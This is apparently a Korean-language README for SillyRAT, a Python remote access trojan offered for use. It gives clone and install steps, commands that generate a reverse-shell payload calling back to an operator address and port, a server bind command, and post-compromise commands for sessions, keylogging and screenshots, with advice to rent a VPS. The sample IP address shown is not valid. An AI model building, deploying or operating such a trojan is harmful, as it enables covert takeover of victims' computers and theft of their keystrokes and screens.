
Python 기반 RAT 🐀 (원격 접근 트로이목마)로, 리버스 셸 🖥️을 획득합니다.

순수 Python으로 작성된 크로스 플랫폼 RAT입니다. 이 RAT은 명령어와 함께 인수를 받아 서버 역할(연결 수락) 또는 클라이언트/타겟 역할(서버에 연결 설정)을 수행합니다. generate 명령은 pyinstaller 모듈을 사용하여 실제 페이로드 코드를 컴파일합니다. 따라서 각 플랫폼에 맞는 페이로드 파일을 생성하려면 파일을 생성할 때 해당 플랫폼에서 작업해야 합니다. 또한 소스 파일을 직접 가져올 수도 있습니다.
이 도구는 Parrot OS 및 Python 3.8에서 테스트되었습니다. 설치 단계는 다음과 같습니다.
$ git clone https://github.com/hash3liZer/SillyRAT.git
$ cd SillyRAT/
$ pip3 install -r requirements.txt
페이로드 파일은 두 가지 방법으로 얻을 수 있습니다:
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/payload.py --source
컴파일된 버전은 해당 플랫폼에서 생성해야 합니다. 예를 들어 Linux에서 .exe 파일을 생성할 수 없습니다. 특별히 Windows에서 작업해야 합니다. 이 도구는 아직 테스트 중이므로 모든 종류의 오류가 허용됩니다. 단, 이슈를 열어주시기 바랍니다. Linux용 컴파일 버전 생성:
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/filer

위 명령에서 IP 주소와 포트를 자신의 것으로 바꾸세요.
서버는 Linux에서 실행해야 합니다. 연결을 위해 VPS 또는 클라우드 서버를 구매할 수 있습니다. 참고로 서버는 마지막 실행에서 세션을 저장하지 않습니다. 따라서 서버 애플리케이션이 종료되면 모든 진행 상황이 손실됩니다. 서버 실행:
$ python3 sillyrat.py bind --address 0.0.0.0 --port 2999
모든 연결은 sessions 명령 아래에 나열됩니다:
$ sessions

connect 명령으로 타겟 세션에 연결하고 사용 가능한 명령을 실행할 수 있습니다:
$ connect ID
$ keylogger on
$ keylogger dump
$ screenshot

사용 가능한 명령 목록 보기:
$ help
특정 명령에 대한 도움말:
$ help COMMAND
트위터: @hash3liZer
디스코드: TheFlash2k#0407